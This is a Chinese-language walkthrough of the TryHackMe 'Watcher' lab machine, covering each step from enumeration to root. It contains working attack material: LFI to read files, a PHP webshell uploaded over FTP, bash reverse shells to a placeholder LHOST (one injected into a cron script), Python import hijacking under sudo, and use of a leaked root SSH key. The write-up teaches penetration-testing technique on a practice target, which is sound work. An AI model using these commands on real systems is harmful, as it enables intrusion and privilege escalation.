9 min read

TryHackMe — Watcher 通關筆記:一場關於「可寫檔案」的變奏曲

TryHackMe — Watcher 通關筆記:一場關於「可寫檔案」的變奏曲

Watcher 是一台中等難度的 Linux 靶機,表面看是七面旗子、四個使用者、一路爬到 root 的常見結構,但真正值得記下來的是它的設計主軸非常一致:幾乎每一個提權點,都是「某個檔案我能寫,而別人會用更高的權限去碰它」,同一個母題換了五種皮,從 Web 的 LFI 一路貫穿到 root 的 SSH 私鑰同這篇把整條攻擊鏈拆開,重點放在「為什麼這樣判斷」,而不只是「打了哪條指令」。

先設好目標變數,後面每條指令都能重用:

export IP=<target-ip>

偵察:三個服務,一個明顯入口

第一步永遠是全埠掃描,先摸清楚攻擊面:

nmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt $IP
nmap -sC -sV -p 21,22,80 -oN nmap-detail.txt $IP

結果收斂成三個服務:

21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 (Jekyll v4.1.1, title "Corkplacemats")

FTP 是最直接的入口候選,但 SSH 沒有現成憑證、Web 又是重點,所以策略是「FTP 與 Web 兩路並行探」,FTP 匿名登入先試一次:

ftp -inv $IP <<'EOF'
user anonymous anonymous
ls -la
bye
EOF

回應是 530 Login incorrect,匿名不通,焦點轉向 Web。

Web 列舉:robots.txt 送出第一面旗

目錄爆破一次到位,常見副檔名都掃:

feroxbuster -u http://$IP/ -x php,html,txt

幾個關鍵命中:

  • flag_1.txt(200)
  • post.php(會吃參數的頁面)
  • robots.txt
  • secret_file_do_not_read.txt(403)
  • images/(開了目錄列表)

先把散落的線索一次抓齊:

curl -s http://$IP/flag_1.txt; echo
curl -s http://$IP/robots.txt; echo

flag_1.txt 直接就是第一面旗:

FLAG{Redacted}

robots.txt 裡把兩個「不希望被索引」的路徑大方地列了出來 —— 這正是 robots.txt 的經典反效果,它本意是擋爬蟲,實務上卻常常變成敏感路徑的索引:

User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

LFI:從檔名猜參數,一條 curl 賭中

post.php 直接 curl 只回一個空的 <main>,渲染出空白,一個「應該要有內容」的頁面卻渲染空白,幾乎就是在說:我在等一個參數,而你還沒給對

參數名怎麼猜?三個訊號疊在一起:頁面叫 post.php、站台是 Jekyll(部落格產生器)、整站圍繞文章打轉,開發者取參數名十之八九跟功能同名,所以先花「一條 curl」的成本賭 post,同時直接測本地檔案包含(LFI):

curl -s "http://$IP/post.php?post=/etc/passwd"

/etc/passwd 整份被 include 進頁面 —— LFI 確認,若這條沒中,再用 ffuf 兜底 fuzz 參數名即可(這次 ffuf 也在 post 命中,兩邊互相印證):

ffuf -u "http://$IP/post.php?FUZZ=/etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs 2422 -mc all

-fs 2422 是把空頁面的長度過濾掉,只留「參數有作用、內容變長」的回應。

/etc/passwd 撈出有 shell 的真人使用者:will、mat、toby、ubuntu,還有一個呼應 FTP 服務的 ftpuser

有了 LFI,先做兩件事:繞過那個 403 讀祕密檔,以及用 php://filter 把原始碼撈出來檢查,祕密檔裡躺著一段留言:

Hi Mat, The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ftpuser:givemefiles777

一組明碼 FTP 憑證 ftpuser:givemefiles777,外加一個關鍵情報:上傳的檔案會落在 /home/ftpuser/ftp/files

FTP + LFI 串接:上傳 Webshell 拿 www-data

先登入 FTP 摸清目錄結構:

ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
ls -la
cd files
put test.txt
ls -la
bye
EOF

登入後直接落在 /home/ftpuser/ftp/,這一層有第二面旗 flag_2.txt,以及一個擁有者為 ftpuser、我方可寫files/ 目錄。

第二面旗:

FLAG{Redacted}

真正的殺招在這裡:FTP 寫得進 files/,而 LFI 讀得到絕對路徑,把兩者接起來,就能用瀏覽器讓 post.php 去 include 我們上傳的 PHP 檔並執行它,。先驗證兩邊指到同一個地方:

curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/test.txt"

上傳的檔案內容如實回顯 —— 利用鏈成立,接著把測試檔換成極簡 webshell:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
cd files
put shell.php
bye
EOF

curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=id"

回應 uid=33(www-data),RCE 確認,接著彈一個穩定的 reverse shell 回來,比在 URL 裡一條條打指令好操作:

# listener
nc -lvnp 4444

# 觸發(把 LHOST/LPORT 換成自己的)
curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=$(python3 -c 'import urllib.parse;print(urllib.parse.quote("bash -c \"bash -i >& /dev/tcp/LHOST/4444 0>&1\""))')"

進 shell 後先升級 TTY,後面 sudosu 才好用:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → Enter
export TERM=xterm

Web 根目錄裡有一個藏第三面旗的目錄 more_secrets_a9f10a/:

cat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{Redacted}

橫向移動一:sudo -l 直接給答案(→ toby)

站穩 www-data 後,第一件該做的事永遠是 sudo -l —— 它常常直接把下一跳寫在臉上:

sudo -l
User www-data may run the following commands:
    (toby) NOPASSWD: ALL

www-data 可以免密碼、以 toby 身分執行任何指令,注意要切的是 toby 而不是 root(sudo su 切 root 會要密碼被擋),語法是指定使用者:

sudo -u toby /bin/bash
id
cat /home/toby/flag_4.txt
uid=1003(toby) ...
FLAG{Redacted}

橫向移動二:可寫的 cron 腳本(→ mat)

toby 家目錄有 note.txtjobs/ 兩個物件,note 是劇情提示,說 Mat 設好了 cron job;jobs/ 這名字則強烈暗示定時任務。看內容:

cat /home/toby/note.txt
ls -la /home/toby/jobs/
cat /home/toby/jobs/cow.sh

cow.sh 屬於 toby、且 toby 可寫(-rwxr-xr-x ... toby toby),內容只是複製一張圖,關鍵是「這支腳本由誰執行」,不靠猜,直接翻系統 crontab 找證據:

cat /etc/crontab

最後一行給了答案:

*/1 * * * * mat /home/toby/jobs/cow.sh

mat 每分鐘執行一次這支 toby 可寫的腳本 —— 這就是橫向到 mat 的機關。把腳本武器化,塞一個彈給 mat 的 reverse shell:

# listener(換個 port)
nc -lvnp 5555

# 覆寫腳本(在 toby shell)
cat > /home/toby/jobs/cow.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/LHOST/5555 0>&1
EOF
chmod +x /home/toby/jobs/cow.sh

最多等 60 秒,mat 的 shell 就會掉進 listener,第五面旗在 mat 家目錄:

cat /home/mat/flag_5.txt
FLAG{Redacted}

橫向移動三:Python Library Hijacking(→ will)

mat 的 sudo -l 給了一條更精緻的規則:

(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

mat 能以 will 身分執行這支 Python 腳本,且結尾的 * 代表可帶任意參數。讀腳本內容:

import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
        print("Invalid command!")
        exit()
os.system(cmd)

漏洞是 from cmd import get_command —— 這是自訂模組,。Python 會照搜尋路徑找 cmd.py,而惡意程式碼在 import 當下就執行,根本輪不到 whitelist 檢查。whitelist 因此完全形同虛設。

這裡有一個很容易翻車的細節,值得特別記下來:當用「腳本檔」執行 Python 時,sys.path[0] 是「腳本所在的目錄」,而不是當前工作目錄(cwd),一開始若把惡意 cmd.py 放在 /tmp 再從 /tmp 執行,是不會被載入的 —— 因為 Python 優先找的是 will_script.py 所在的 /home/mat/scripts/,而 mat 正好是這個目錄的擁有者,寫得進去:

printf '%s\n' 'import os' 'def get_command(x):' '    os.system("/bin/bash")' '    return "id"' > /home/mat/scripts/cmd.py

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py anything
id

Python 一 import cmd 就先撞到我們的版本,os.system("/bin/bash") 在 import 當下以 will 身分開 shell。第六面旗在 will 家目錄:

cat /home/will/flag_6.txt
FLAG{Redacted}

提權到 root:別被誘餌帶偏,回到證據

到 will 這裡有一個容易走岔的地方,will 家目錄有個 .config/lxc/,裡面是 config.ymlcookies,很自然會聯想到經典的 LXD 容器逃逸,但 lxc list 回 permission denied,而查 id 會發現:

uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

will 的群組只有 willadm,並不在 lxd 群組,沒有 lxd 群組資格就操作不了那個 socket,那些 lxc 檔案是誘餌或殘留,這裡的教訓是:看到關鍵字先別衝,用 id 確認群組資格再決定打法

回到系統化的提權列舉,把常見面向掃一遍:

find / -perm -4000 -type f 2>/dev/null        # SUID
getcap -r / 2>/dev/null                        # capabilities
sudo -n -l 2>/dev/null                          # 免密碼 sudo
cat /etc/crontab; ls -la /etc/cron.d/           # 定時任務

SUID、capabilities、cron 全是系統預設,沒有 GTFOBins 提權點,真正的鑰匙來自「will 或 adm 群組可寫的位置」這個角度 —— 呼應整台機器的母題:

find / -group adm -writable 2>/dev/null
/opt/backups
/opt/backups/key.b64

/opt/backups/ 對 adm 群組可寫,裡面有一個 key.b64,看內容:

cat /opt/backups/key.b64
base64 -d /opt/backups/key.b64 | head -n 1

解碼後開頭是 -----BEGIN RSA PRIVATE KEY----- —— 一把放在 root 名下備份目錄的 RSA 私鑰,幾乎肯定就是 root 的 SSH 金鑰。把它拉回本機,設好權限,直接登入:

# 在本機
base64 -d key.b64 > root_key
chmod 600 root_key
ssh -i root_key -o StrictHostKeyChecking=no root@<target-ip>
id       # uid=0(root)
cat /root/flag_7.txt

第七面旗,收尾呼應房間名 Watcher:

FLAG{Redacted}

回顧:同一個母題的五種變奏

整條鏈路串起來,設計意圖非常清楚 —— 「某個我能寫/能讀的東西,別人會以更高的權限去碰它」,反覆出現:

  1. robots.txt — 資訊洩漏送出第一面旗
  2. LFI(post.php?post=) — 讀 /etc/passwd、撈出 FTP 明碼憑證
  3. FTP 上傳 × LFI 包含 — 兩個中低風險問題串成 www-data RCE
  4. sudo -u toby — NOPASSWD 規則直接橫向
  5. 可寫的 cron 腳本 cow.sh — mat 定時替我們執行
  6. Python library hijackingcmd.py 放在腳本所在目錄劫持 import
  7. /opt/backups/key.b64 — adm 群組可讀的 root 私鑰 → ssh root